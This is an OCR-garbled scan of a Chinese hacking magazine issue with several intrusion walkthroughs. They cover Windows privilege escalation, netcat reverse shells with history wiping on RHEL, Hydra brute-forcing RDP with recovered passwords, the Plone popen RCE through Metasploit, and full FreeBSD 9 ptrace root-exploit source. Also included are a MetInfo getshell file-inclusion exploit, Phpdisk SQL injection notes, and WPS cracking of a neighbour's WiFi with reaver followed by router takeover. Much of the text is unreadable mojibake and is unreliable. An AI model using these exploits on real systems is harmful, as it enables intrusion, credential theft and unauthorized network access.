W, NEHERKHK, AE—RME. FEMERTC.
INEREWITET o BALTIWE. NGRS T o HSESES] EIR ARG . AR A AT
M PR #.
(&358) TifE4E: Silent

F 57 FTH MS13-046 A Bt webshell $h47-2

fE#: mixegg

KH: WEEWE - FdckTeam

Pdk: http://team. f4ck. net/

KA TR Ew i, BERNR S bat. bat WA LIk, ARZENIEL, KK
1A AT o

WIZE=ZIE exp I, —EJH exp. exe net.exe user xxx. i RMEIERIL. EFTTIETAL .
FAEFAHE kill 54T .

Ja kM exp. exe % exe. , ERMII EL. XTRARTHAE, BEK 08 REM. K
My, HSEATBLH bat SRIAT. Hrid fack. bat WAELT:

set>>c:\1. txt

bat FRiX AL, EAAdr A HOHME, X H R 280,

SRFGAHEE fAck. bat, INIDBIRAR . ., RTE4T2) 7 018 B sk R4, Riem
J-HREET. £ BIEEEBIT B fdck. bat. ZEHEE: . Bk A B
A, Wi . ARJEHUEFS T fack. exe

A, TR T 200k b IR, IRZ KRB ASCRF 200k EAR .

)5 exp. exe f4ck. exe

IS ¢ BAE 2 AR 1. txt, WA set A& EliE, RoRpi. mhmT DA H A AR 2 1) iy

47,

mini FTFGHORG 1, L. AU mini RIS G GRS, T exp BB 08
I

KEFWAFME S5 R MG EZ M 7. AEE H Rt AL sb i,

(358) Fi{EgmtE: Silent
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61 At ARE) CAIN BLERA B H3E ?

fE#: christ
RH: ¥EELIE - FdckTeam
M3E: http://team. f4ck. net/

X IR 22 IR s B CAIN JevEmUR S C BN EdE, FrCURR b 7 — ML R K T

fifg— T HHR I R PR AR AR ) B B . X FREE — USRI, SR T Re A L T VA Ui

B R K

ATk : http://pan. baidu. com/share/link?shareid=1562428902&uk=1832384802
(58 Ti{Egm’: Silent

7% —& REDHAT EN6 54 5 /MK -1 s

YE&: syjzwjj
RH: &R Lls - F4ckTeam
M3E: http://team. f4ck. net/

SRR ABREAREE AL — GRS E, TMRAEN T, SRk —F
TARARBLSEIA shell Bk, IR 4-7-1:
g EE&: C\Windows\system3Z\cmd.exe - nc -l -vv -p 5555

Microsoft Windows [RR7E 6.1.76811 ]
i ¢c) 2889 Microsoft Corporation. {FE5FF

AT

C:slsersvidninistratorrcds |

f : h_errno 118842 "_ril'*E
CUNKNOWN > EM] 56433 :

6.32-358.e16.x86_64 #1 SMP Fri Feb 22 88:31:2-YTC 2013 =860
b4 _G4 ZLinux L
id=502 Cwww) gid=502<www? groups=502 uwwud

B 4-7-1
ZJaHiN:

python -c'import pty;pty.spawn("/bin/sh")'
export HISTFILE=/dev/null export HISTSIZE=0

H A3 H. SHELL I HAE RT3 B T RA:

sh-4.151sb_release -a

LSB

Version: :core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printi
ng-4.0-noarch

Distributor ID: RedHatEnterpriseServer

Description: Red Hat Enterprise Linux Server release 6.1 (Sa ntiago)
Release: 6.1
Codename: Santiago

w5 34 T /3t 89T B TMIE: httpi//tag.com/hackcto MR M 150 EM: 20T
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R Z— G T, A NAZ T LE T
T EAER A EXP 22k, AT T A, W 4-7-2:

-

B8 EEL: C\Windows\system3Zicmd.exe - nc -l -v -p 5535

ru-r——p—— 1w L 541 Jul 15 16:86 yoco_hc
—ru—r——pr—— 1w i 658 Jul 15 16:87 yoco_hc.c

id
uid=502 Cuww? gid=582 www? groups =582 Cuwud
=h—-4.15 pud

sh—-4.15 chmod +x semtex

chmod +x semtex

sh—4.15 _/semtex

Asemtex

2.6.37-3.x xBo_64

sd@fucksheep.org 268108

—sh—4._.1# id

id

uwid=A<root) gid=B{root? ACroot ), 502 Cuwud
—sh—4.1#

& 4-7-2
EXP Huhik: https://gist. github. com/onemouth/5625174
EF|ROOT BRZ GH EHEETT T, AR — MR Z M.
X7 AR 55 # A 3 GCCo
WINE, Reeifhde 1.
H 3~ NC [) SHELL Rt 2, WA /Mm% VI, Frl A BEAS ROOT AUFR )& BE G % F 25 1.
WTFYOM, $RTEEMEE, M EA TR, H CENTOS f REPO RJ LIRE .
Prls 7 —iba2 kM, JEAE CENTOS6 KIH, T4 4 fF4E e 17, Wi 4-7-3:

FAERIR 404, JRITIEFM .

JE KA TR, BESRZ REDHAT EN6 FSmf BELFE(E W 48 RPM 25547 7 -
AN FE E O

RPM & Fe AR ot 45 At 5%

a7 N A TR T gec BT,

ZEIN B R R BAE ] YOM 5% APT-GET, T3 REZk RPM %5, £ 230,
BN ET]5E:

http://www. freebuf. com/tools/10474. html
HEXRELECASMIRGERE T, TUAFRE T .

BT, REHLEAEANAM, W 4-7-4:
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Hth

6.1 MiB) TX by rtes: 348047 30 (32.1 zu"*

HARTEE NI LA 2 2- 7.

S T A NUAP:

| wget http://nmap.org/dist/nmap-6.25-1.x86_64.rpm

ZRE R RPM KM, AdA 72 aTais, Xkt BkErmE T .
ok FALRF—NEER, WHE 4-7-5:

2013-07-15 16:46 C5T

IIF_.I!—'['I
open
open
open
open
open

up
NOT show r'l

K 4-7-5
WAHR, WA TENER T .
Nmap done: 256 IP addresses (32 hosts up) scanned in 11.55 seconds
32 BAAEFEML.
AFRABBL—F ETTERCAP [, Jak—7F 10.10.10. 1 HEAFHR, /&4 windows FIHLEE.
Fir ASE DI AN A X3 A W56, Bl I )RR 4R 2 B ARHLAS B o X AL R0 INE S SEUHR T,
RAYE AN H B #E AN RIS -
TP BESR AR AT A 34355 25 7, 1 HIRAMIS REZEHR P FH X Hydra
hydra # 4 BEHZ the IR )% TR http://www. the. org/the-hydra/
AT, RA tarball %%, BRFR, WAICEH 6CC 1, MR —VIEIG 2L,
55— X MAKE INSTALL BB, ASHEAMOIRE . SEH—D— 1023 RPM A, 202
AR 4] 7 — FIL R AEENR K R T, BUOAE BA NRESI LA A — FERR A —FF
BTl S BN IR —, MR E A —FIrE 2 54T AT HRATA] 21
kI T o HARRATRE—NHEA ssh 104, W& 4-7-6:
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B 4-7-6
B A2 SSH ERROR,  TEMABELAT T, fh<s4ks:41.
SERrEE Rk, BB A S04 SSH, il 4-7-7:

.:|:|

6 of 6 target

K 4-7-7

AHKC, BAISH 3389 EEARAH L

| /usr/local/bin/hydra -l root -P /tmp/pass.txt-M /tmp/ip rdp
G5 T, Bk EWIGEERRK
[3389] [rdp] host: 10.10.10.23 login: administrator password: pa2sword
[3389] [rdp] host: 10.10.10.60 login: administrator password: passwOrd
[3389] [rdp] host: 10.10.10.2 login: administrator password: pa2sword
[3389] [rdp] host: 10.10.10.212 login: administrator password: passwOrd
[3389] [rdp] host: 10.10.10.11 login: administrator password: pa2sword
it sock R, # EEEH, WK 4-7-8:

. ]
o LA ™ |

ERoeE b wBicrod) «  x pdesktop - 10.10.10.11

EaoRE - XHE ‘ ﬁ
5 ,! o B

-
FLLERE [emvwam
SRR @) -

(&X5E) TiiEYW%E: Silent

%87 FIFH MSF 45 Plone, M FreeBSD

fE#: StrOng

KH: KR - FdckTean
MHE: http://team. f4ck. net/
0x01

il &

BRI A R B — ST AR B A i — AN LA T B i SRR, — N E SR RI4 Plone

w5 37 T /3t 89T B TIMIE: httpi//tag.com/hackcto MR M 150 EM: 20T
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CMS T H brukife WP+PL (Plone) WP RRAEUHIIZ M KM INE EXP # T EA N A Hix
AT FXs

BT H 2 AR NI R R AT

BT AT E OIS 2R A B 2

0x02

TFif

e fH A nmap AT REERE, WK 4-8-1:

~# nmap -A

cripts/http-method

1B:A8 (VMware)

4-8-1
KIAFAE plone IXA4> cms.
SRJG 3] http://www. exploit—db. com/search/#¥ 1.
B S A KRR, wE 4-8-2:

http: ffPLONE_SITESp Swebdav/ximltools/minidom o]/ sax/sanutils/os/popeni ?omd=<conmand
to rund
Example:

Listen for a connection:
§ nc -1 4pda

0o victim, wisit:
Ptlp fivictiafp Swebdav/xmltools/ainidoa/xal/sax/saxutl lsfabfpﬂpelq’tﬂu-t4t¥1ﬂfett“pdxbﬂdhEHiEBiSEiEB#dtf i AT 2 e JT:@??ﬁﬂ
- I - i

Kl a-8-2
MR, AKIRIATUHE N/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen?
SRJERI B AR A2 WA AE IS
IR A S L HREEFIH P, A EFRAN freebsd &%t
REALHE “/dev/tep/172. 20. 6. 218/4040” X FPE R A, WK 4-8-3:

w 38 Tl /3t 89T E M. hittpi//tag.com/hackcto MR M 150 EM: 20
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*v e (@ <9 @ B | 192.168.0.129:8080)p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen? |

Site Error
An error was encountered while publishing this resource.

Invalid request

The parameter, cmd, was omitted from the request.

Make sure to specify all required parameters, and try the request again.

Troubleshooting Suggestions
e The URL may be incorrect.

o The parameters passed to this resource may be incorrect.
s A resource that this resource relies on may be encountering an etror.

For more detailed information about the error, please refer to the error log.

If the error persists please contact the site maintainer. Thank vou for vour patience. ,"i;
L

Sam
K 483

0x03

U

7E mst R, BHREGA MR HBE, WK 4-8-4:

msf = search plone

K 4-8-4
BESRAFAEZIE T, — VIR IFIr 1 (] “use” #n 4, fERIiZiEE. RG24 “show
options” BETEME M SH . XEFEREXZSEUNT: RHOST: 192. 168. 0. 129, ¥
Furl MEARIERE. XBEH TN, TR, WK 4-8-5, 4-8-6:

oit/multi/http/plone popen?

= 5

HTTP server virtual host

K 4-8-5
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set RHOST 192.168.0.129

K 486
IRIE EHEAE “exploit” fir A FIABELEI AT . BRI payload J& S5t AL, JIT LA 2
TRAERE ST B1 R M B 1o AN R0 ip BRTPRIRS B, 705 U 7 S ORH 5% 1) i 11 S5
By ik nat W52 .) WK 4-8-7:

W=

Kl 4-8-7
AT BN F B BRI, A< Hbu WS I 3 11 A 44447, ms T — % pay load s My i BRI $5) “ 44447
SRIGHAT — L5 2RI AT, ] 4-8-8:

K 4-8-8
0x04
AL
BN RE EAR— A GEBUCRS,  DAE AT LG A /7 B RSA 34T ssh B5r<%. freebsd BRiA
FEBCH wget i), (HRSCRF feteh %, 1Kl 4-8-9:
etch -o ”tmp“fréEjsc.c ftp://: - /freebsd.c
1438 B 2180 kBps

K 4-8-9

i CAMEL I

#include <err.h>#indude <errno.h>#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include
<string.h>#include <fcntl.h>#include <sys/stat.h>#include <sys/mman.h>#include <sys/types.h>#include

<sys /ptrace.h>#include <sys/wait.h>

#tdefine SH "/bin/sh"#define TG "/usr/sbin /timedc"

intmain(intac, char **av) {intfrom_fd, to_fd, status;struct stat st;struct ptrace_io_desc piod;char *s, *d;pid_t pid;
if (geteuid() == 0) {setuid(0);exed(SH, SH, NULL);return 0;}

printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");printf("by Hunger <fbsd9lul () hunger hu>\n");

if ((from_fd = open(av[0], O_RDONLY))==-1| | (to_fd=open(TG, O_RDONLY))==-1)err(1, "open");

if (stat(av[0], &st) ==-1)err(2, "stat");

if (((s =mmap(NULL, (size_t)st.st_size, PROT_READ,MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) | | (d =
mmap(NULL, (size_t)st.st_size, PROT_READ,MAP_SHARED |MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED)err(3,

"mmap");
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if ((pid =fork()) ==-1)err(4, "fork");

if (!pid) {if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)err(5, "ptraceme");

return 0;}

if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)err(6, "ptattach");

if (wait(&status)==-1)err(7, "wait");

piod.piod_op=PIOD_WRITE_D;piod.piod_offs =d;piod.piod_addr=s;piod.piod_len =stst_size;
if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)err(8, "ptio");

execl(TG, TG, NULL);

return 0;}

EHTUHMA P, WAL H A H A SecureCRT A Bt — A~ A #H Tl 7E
/root/. ssh/authorized keys X+, DL root G4 &3 IR (FHE—F ssh FHELE %,
YU RT DA 3 B ARV B R A S8 ST RS o IRAE G PRl B — AN ) R R R R 2
“root@testing” @i [ H L AUFN 2 B AR ZL G Sk FH 7 — B #ildn, X BARAEA root %
3K, FrPAIRKI@HTTH N root.) #IA 4-8-10:

i —EEET. ATWIOERTEENET - BRI
FIE—iL

FIE D) rootBtesting

Kl 4-810
0x05
ENG2 TN
UL B, A ZAEFIE AR ST LA ES AN g
H Frid S 2 windows i MSE IEK cve #8F B SEA kali A MSF [F#,
(&358) TUESiE: Silent

BEHE R Th——codeplay BB\ %=

% 17 metinfo 5.1.7 getshell

{E3&: Yaseng
K H: Ccodeplay
Mtk: www.cOdeplay.com

RAG 53 Hr:
about/index.php

Sfilpy=basename(dirname(__FILE_ ));
Sfmodule=1;
require_once'../include/module.php’;

require_onceSmodule;

454 metinfo ()42 )R A8 B S LA W] DAEL & SOft

M :http://w/coder/metinfo/about/?module=../robots.txt&fmodule=7

Getshell:

AR L EAEAN T, 40 feedback\uploadfile_save.php. Fii & FAE ORI )y . SO 4% AT

w5 Q1 T /3t 89T B TMIE: httpi//tag.com/hackcto R M 150 EM: 20T
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DMRERE 2 . 100-999 FEAL, i B 0RA .

| Srnd=rand(100,999); Sname=date('U')+Srnd;

‘B demo Wik url, 1A 5-1-1:

?’ @ demo.metinfo.cn/about/?madule=. /upload/file/1370180359,jpgafmod: @ 7 | ¢ ¥ X & - _@v BE <Ctrl+K=> ,0

| Hack | | Programming | | Admin | | After Effect | | Tool | | Web | | Resources | | Android | | Enter ‘ b @ p [ g B vaseng

Systen Windows NT IDCC-BLE312DE46 5.2 build 3790

Build Date

Apr 9 2009 08:22:37

Configure Command |cszcript /mologo configure. js "——enable-snapshot-build” "--ensble-debug-pack”
"——with-znapshot-template=d:‘\php-=dk'snap_5_2'vef'\x86\template” "-—with-
php-build=d:\php-zdk'snap 5 2\wcb'\x86\php_build” "--with-pdo-oci=D:\php-
sdl(\o’racle\:l'.nstantclientlﬂ\adl(, shared” Jr“w:l'.l:]ro:::l'.sﬂ):\pll|:|—e3dk\r3cra::le
‘inztantelient10'zdk, shared”

Server API ISAPT

Virtoal Directory |emablzd
Support

Configuration File|C:'\WINDOWS
(php. 1n1) Path

Configuration File

Loaded C:\WINDOWS\ghp. ini

Scan thiz dir for |(nonz)
additional . ini

files

additional . ini (none)
files parzed

FHP API 20041225

K 5-1-1

RABE:

B 7/17 4885 X include\module.php 7' 83 17 $module="; 1/ 5-1-2:

$modulelang=%lang:sla
$query="SELECT * FROM
$anyone = %db->get_om
$classl = %anyone[ 'id
$mdle = Sanyone[ 'modu
$mdtp = '8°;

i 3

o Smodule=""j; ga

if($fmodule!=7)1{
if($mdle==188)%mdle=3
if($mdle==181)%mdle=5
Imodule = Imodulefnam
if($module==NULL}{oki
if($mdle==2| | $mdle==3

m

if($fmodule==
Fmodu.
} |4
else{
okint

5| 5-1-2
(E3058) DUEgmdE: FEPEALAZE

% &2 5 /3t 89 i

B http://t.qq.com/hackcto

$modulelang=$lang:blang: smet_index
$fquery="SELECT * FROM $met column 1\
fanyone = 3db-:get_one($query);
$classl = $anyone[ "id'];

fmdle = $anyone[ 'module’];

fmdtp = '@’;

if($fmodule!=7){

if($mdle==186)%mdle=3;
if($mdle==161)%mdle=5;
fmodule = $modulefname[$mdle][$mdt;
if ($module==NULL}{okinfo("'../484.hi
if(Smdle==2| |$mdle==3| |$mdle==4]| | %
if ($fmodule==%mdle){
fmodule = Smodulef:
1
else{
okinfo('../484.htm:
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%27 Phpdisk SQL Injection Vulnerabilities

fE#: Yaseng
K H: codeplay
P4k www.cOdeplay.com

IR -

% FK: Phpdisk SQL Injection Vulnerabilities
FHE . Powered by phpdisk.com

H#H: 2013-8-5

W RKUA: Version: 6.5-6.8
Vulnerability detail QRIRZ):

R parse str MRETSEAEES], T sql EA)F$tpf AT,
Vulnerability exploit (JRVRAFIF):
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ERE: python AU E S HIAREIZAT, 1 N # 1 phpdisk.py
Bt A3k http://pan.baidu.com/share/link?shareid=18032688528&uk=103985760
(58D TfTEgniE: BEPEAL A%
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8375 web 72 Fy X 2 R S S48 0 AR HE R B & 2 1) A

{34 : Yaseng
K H: Codeplay
M1k: www.cOdeplay.com

HE: XN T—NEERAM S, LR E R HIEE web F2JF, &P & bR A7 £ 4o
cookie,db M55 . N T ALK IELE 35 6], RGBT R A INE Bl qq EA,
IR idsk, web #2575 AR TN T HIERE 51 &, B2 A T 1, R 58 (0 i 2% R A ik
5 key SRARYEARE |, — AR T 45 mT BRI Rl 46 22 4 [, AR SCER 1T web FFUEFE 77 H 6 FA
A AR AR ) 22 AV ) R

B Rkey WAL

FEEEHNEE key AT HER N AT AR DL T, FAA EOHE H0HE 58 4 T 4, iR SEPRIA S sql 1

N xss  EAUEIE .

i 4n:

espcms B FIVEN IR T ML
http://pan.baidu.com/share/link?shareid=1124971310&uk=103985760

dedecms cookie yEAJRIAAHIE T #ihhk:
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DHCPIERRE HENEL: SOjCLHLANRGSSE (MEHGW. STR. C
EMhtn D
moncrEmnE: ([ & \ e
SR DHCF Ralay v O f.-'
LANZEHIP#ELE THE2A6E100,1
FEHE 255255 2550
K 7-1-3
WE wlan, UHE 7-1-4:
r =HrEr/a WM, TR
1_INTERMET_R_WID_1062 1062/0
e WANZEEE: v
EEailh HH W
- INTERNET v
HEVLAN: ol
LAN 1D 1062 *{1=-40504)
i A gﬁﬁﬁﬁi’ i
2.1p: 0 v EHLER
K 7-1-4

wlan W id FIEREUT ¥
LA N RE (Hg— e AU,
2.1 7-1-5:
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= Telnet 192.168.100.1 =

Jelcome Uisziting Huawei Home Gateway
opyright by Huawei Technologies Co., Ltd.

Login:root
Password s e
JAP>get port config portid 1

PFort Config Info - Enable=1 Mtu=28080 PortVid=16862 FortPri=B NegoMode=1 Speed=8 D
iplex=A Link=B PauseEn=0 PauseLine=280 LoopFode=B MirrorEn=A DstPort=1 HirrorTyp

K 7-1-5
RORKE, Wl 7-1-6:
WAN;3ZER s FmiPh IPHThE Fedias VLAN{E 2B MACHtht el
1_INTERNET_R_VID_1062 i3 PPPoE TR 255255255255 106210 DR Sz
K 7-1-6

el T, L. ..
(&58) S 5T

B2 WARE AR EEFRE

1B zxc

KH: EEWRIE —FlckTeam

MHE:  http://team.fack.net

LS

HFRAVX AT, LR ZRH—. WTRY B O AR BRI 1 5 2 R S A 7
Rk, MELMHGE .

& R 0, WIFI DB &5 7 BRAT AT A, W] A B B2 — AN 4R R e 24 ] 7-2-1:

A GOOD NEIGHBOR IS ONE THAT
DOES NOT PUT A PASSWORD ON

THEIR WIFI.

Ko 7-2-1
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ARG H T, XA R AT T .

AEBE KRR, BATTULABAIEAR, KBTS — A SR “ar48E 7. JER, &
RELELFAR B RY B S TEA

2. A B

WHAEE BRI NX, EATRE— FE, WK 7-2-2:

\ JERLAD

K 7-2-2
SRR AT B S AN
X HBE AN, aRE NIEPERNE CREE W, X S48 PO e, B At
A AR R HE A T
BB MR G B TS T B A 2 /D> WIFIL 35
3. B LA E
RN TR AP IR EE, FREAR TVEZ R ML, BN GPS 44 )5 R T 3 GOOGLE EARTH
b (HRMARARIRL, FONRMZE @A SR, % T GOOGLE MAP ki, HbrAK
INTETFERER L (G R BB T A7V ERERE B e L AP FITE I HhER A )
Fr ARRE R FHLIL R WIFL, 285 DUBAT I AR H E H bR )B4 E .
R 7 AN (P ANFIERN— D050, 88— s — ka6, Wikl 7-2-3:

150 E, pE 7-2-4:
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Leo-PC

08:fc:11:43:7f:66 d -80
BD426C 30
2¢:b0:5d:bd:42:6¢ '
Adams Network 80
1c:af:f7:d9:21:e9 '
Death Star 80
0:23:69:8d:5f:29 '
Protons For Dotan... 80
2¢:b0:5d:8a:7¢:2¢ '
NETGEAR75 83
2¢:b0:5d:9a:ba:be '
Cisco025488 83
c0:c1:c0:c9:77:3f '
XIYANGYANG-VAIO N... 9o

30:46:9a:53:66:f2

Network

K 7-2-4
2 5 &, Wk 7-2-5:
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=== CD@:E% Kﬁf) .

Protons For Dotan...

2c:b0:5d:8a:7c:2c « -76
BD50B7 78
2¢:b0:5d:bd:50:b7 '
Willeum 79
4¢:72:09:88:a29:b2 '
Cisco25488 8o
c0:c1:¢c0:¢9:77:3f '
Leo-PC

08:fc:11:43:7f:66 i -83
NETGEAR75 83
2c:b0:5d:9a:ba:be '

The Krusty Krab 83

74:44:1:ff:€9:e7

(e

\ H , J

Network

K 7-2-5
35N E, WK 7-2-6:
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alll__ Cﬁ)@i&% Z:Ef) .

BD426C 68
2¢:b0:5d:bd:42:6¢ '

Apt. #5 71
00:f6:52:b4:21:ec '
Protons For Dotan... 75
2¢:b0:5d:8a:7¢:2¢ '
AFF741

0:8e:f2:af:f7:41 d -76
Death Star 77
0:23:69:8d:5f:29 '
Willeum 78
4¢:72:09:88:29:b2 '

The Krusty Krab 79

74:44:1:ff:e9:e7

Plans & Services -I---Mobile~

Network

K 7-2-6
4 SAE, K 7-2-7:
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w.. PEEAT) %

BD426C 63
2¢:b0:5d:bd:42:6¢ '

Apt. #5

90:f6:52:b4:21:ec d -73
Protons For Dotan... 73
2¢:b0:5d:8a:7¢:2¢ '
Leo-PC

08:fc:11:43:7:66 d 77
Who is your daddy... 81
68:7f:74:17:66:3b '
HP-Print-D4-Deskj... 80
84:34:97:28:18:d4

Cisco025488 83

c0:¢c1:c0:c9:77:3f

Plans & Services -I---Mobile~

Network

B 7-2-7
5 5L E, WK 7-2-8:

w 81 T /3t 89 T B, http//t.gq.com/hackcto  HHARHBI: FH 15 H EM: 20 7T



(E5%) — B R BT B Mk www.hadkcto.com Z& &% 5 . HACKCTO-201308-8

w.. PEEAT) %

BD426C

2¢:b0:5d:bd:42:6¢ 4 -63
Leo-PC

98:fc:11:43:7f:66 d -72
Apt. #5

90:f6:52:b4:21:ec d -73
Protons For Dotan... 74
2¢:b0:5d:8a:7¢:2¢ '
Who is your daddy... 78
68:7f:74:17:66:3b '
Beatriz

0:24:b2:9f:b:b2 d -82
Riley . 8o

0:26:f2:f7:3b:a

Plans & Services -I---Mobile~

Network

K 7-2-8
6 SHiE, WK 7-2-9:
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. PEELN F 0:32

BD426C 66
2¢:b0:5d:bd:42:6¢ '
Who is your daddy... 66
68:7f:74:17:66:3b '

Apt. #5

90:f6:52:b4:21:ec d =69
Leo-PC

08:fc:11:43:7:66 d =69
Protons For Dotan... 78
2¢:b0:5d:8a:7¢:2¢ '
Beatriz

0:24:b2:9f:b:b2 d -82
XIYANGYANG-VAIO N... 84

30:46:9a:53:66:f2

Plans & Services -I---Mobile~

Network

B 7-2-9
7 50 E, Wk 7-2-10:
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un... PEB AN % 0:32

O IS your dadaqy...
68:7f:74:17:66:3b

Apt. #5

90:f6:52:b4:21:ec d -75
Apt. 9 g1
84:1b:5e:b2:28:a5 '
Leo-PC 81
08:fc:11:43:7f:66 '
Beatriz

0:24:b2:9f:b:b2 d -82
Protons For Dotan... .83
2¢:b0:5d:8a:7¢:2¢ '
67503b . .84

4c:72:09:67:50:3b
b

Plans & Services -I---Mobile~

Network

K 7-2-10
FATTLLE W, 7E 1 SH7. BRI Protons For Dotan (LA Rfai#R PFD) IS 598 & -82,
ZJE—HIEMES] 5 S07 8 KRR R IR . XA AT LUK B E PFD & 4 5 ALK
BT WIFISSID o 1% B E# UK RAEBR N BRIt 47, RO EAN T E B AR, &
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ok N A3 v 5t . 5 — BRIk B 40 R 5K, AR Ul UR M, ISR T . F4b,
AR AT LA il AR H 224, XA DLEEZE B PWR (197810, FRARFEAS FAH O3
R AN WIFI {555 !

PUAERNE T HFREME 2 J5 wt vl DA U R g 0 77 648 1 o

a7 fB TC 2%

PR T E A& BT5, AlfaAWUS036NH F1—42 9 dBi A 2 K2k —HR.

AN NBUR AR WIFL R 5% Realtek RTL8187 M4SN Fio BRAEAH 425 11, 1HELEM E
HHEAEAFRE .

I BTS 2 BEEMREANZCE LR T, Wi 7-2-11:

@ (8.0 B)

Ko 7-2-11
fHF aircrack, TS wps B H A5
airmon-ng start wlanO

airodump-ng mon0

RKEWFELLN T EARS, KEMATER T Wk 7-2-12:
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M 7-2-12
S FH reaver BEMFTIT IS wps DIRE K HH 2% 25 A
reaver -i mon0 -b2C:BO:5D:8A:7C:2C -a -S -w -d2 -t5-c3
Reaverv1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner &lIt;cheffner @tacnetsol.com&gt;
[+] Switching monO to channel 1
[+] Waiting for beacon from 2C:B0:5D:8A:7C:2C
[+] Associated with 2C:B0:5D:8A:7C:2C (ESSID: Protons For Dotans)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
AC
HREREKN, RS NREH:
2C:B0:5D:8A:7C:2C Protons For Dotans Key is 'dotan6969' and PIN is '27285688"WPA
5.80% AP BER
YLE T, BUREAIE A AP RGN T I TE L N2
W SEIMTCLAT TAEEA 2 MINE, — D RETER LG TS, B RET Rt
(] DD-WRT.
7% DD-WRT? FJEL[SKUL, DD-WRT & — 5 =J7 JFaa I E4F, Dhfg =2 imk.
FALAT PA2 I — W] LU B DD-WRT R JC 4 % FHRAR S — S A R 2R K 2 Ak o SCHFII AL 5 471
%%:
http://www.dd-wrt.com/site/support/router-database
HETRMAKEEELTRET:
HGE L EH ORI AP, EEEARE, EERmSIEAR S B R.
XHERA 192.168.111.1
RGBT -FEAWE, WKl 7-2-13:
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dd—WPt..

Basic Settings Radius Wireless Security MAL Filter Advanced Setbings

Wireless Physical Interface wiD [2.4 GHz]

Physical Interface wid - SSID [Protons For Addr [68:7F:74:14:8A:A2]
Wiralass Mode M

Wirgless Network Mode Mixed El

Wireless Network Name (S5ID) @@

Sensitivity Range (ACK Timing) 2000 (Defaut: 2000 meters)
Metwork Configuration @) Unbridged @ Bridged

Virtual Interfaces wi0.1 SSID [NETGEARSO] HWAddr [6A: 7F:74:14:8A:A3 ]
Wirgless Metwork Name [SSID) METGEARSD
B 7-2-13
X B2 Ik £5-REPEATER
SSID HHE X} /5 ¥ SSID
ZJEim—A R, HE H R ER) SSID.
WG REi g2, WK 7-2-14:

St

Basic Settings Radius Wireless Security MACL Filter Advanced Settings

Wireless Security wlo

Physical Interface wlD S5ID [Protons For Dotans] HWAddr [68:7F:74:14:8A:A2]

Security Mode WPAZ2 Personal El
WPA Algorithms AES [=]
WPA Shared Key dotan&ees Unmask

Virtual Interfaces wiD.1 SSID [METGEARS0] HWAddr [6A:7F:74:14:8A:A3]

Security Mode WPAZ Personal Mixed [+

WPA Algorithms TKIP +AES [ = |

WPA Shared Key ZHCTHC Unmask

Key Renewal Interval (in seconds) 3500 (Default: 3600, Range: 1-995¢

e e

7-2-14
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RPN T R, S X .
RO FERFEE O AP BN i 30 R B S — Mt RIhis e T, &l 7-2-15
B 7-2-16:

SRTEEL *4
/ METGEARSD

28 Internet 358

= FiORIRYRIEE
75 Internet 1581
#HEH VPN ~
VPN EiE 3
TEEEE ~
NETGEARBO Eﬁzﬁdm
K 7-2-15

Microsoft Windows L[V 6.1.76811
_ﬁ (c) 28@% Microsoft Corporation. 1%

C:slUzerssAdministrator>tracert —d 8.8.8_.8

BiTEE 30 HESRES s.8.8.8 MU H

5L

6.J51C
W IR RS2 i AP O B ARG P . SCBRIERH, JUmiMir o4k i 2 e AP 11
VBT B R MR e
PRI A 5 AN A2 it AR TG R AR e B AR 1), (R PITAA 1) AP #80] LA E A ok, R R R &
2
FALAT LSR5 A MR TE 2R T AR AR, 2 SR e, mT DA IR
WAk, IRAE HARMZE R AP ERIL T IXA—AThRE, M 7-2-17:
NETGEAR genie”
WNR2000v3
ADVANCED

ADVANCED Home

Setup Wizard

.-f”f Enable Wireless Repeating Function
| Wireless MAC of this router ; 2C.BO:SDNBATC2C
J

» Setup \_‘ ! Wireless Repeater
» Security ‘Repeater IP Address il

L

i " Disanle Wireless Client Association
» Administration

Base Station KAC Addrass

v Advanced SE'I:I.ID Wireless Base Station

7-2-17
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RRAREWE, BAEABI T IIELT, KR gkA N ELES?
BTk Z SEROFAEE, BT LARRETE A58, B8 &0 R8I A A WA R AR — 1%
. B

R AEVE SRR AR B B, RS — M

FHO AR H I PR EE, AR s R DLl — PR R B .

(E3C58) TESmAE: 5T
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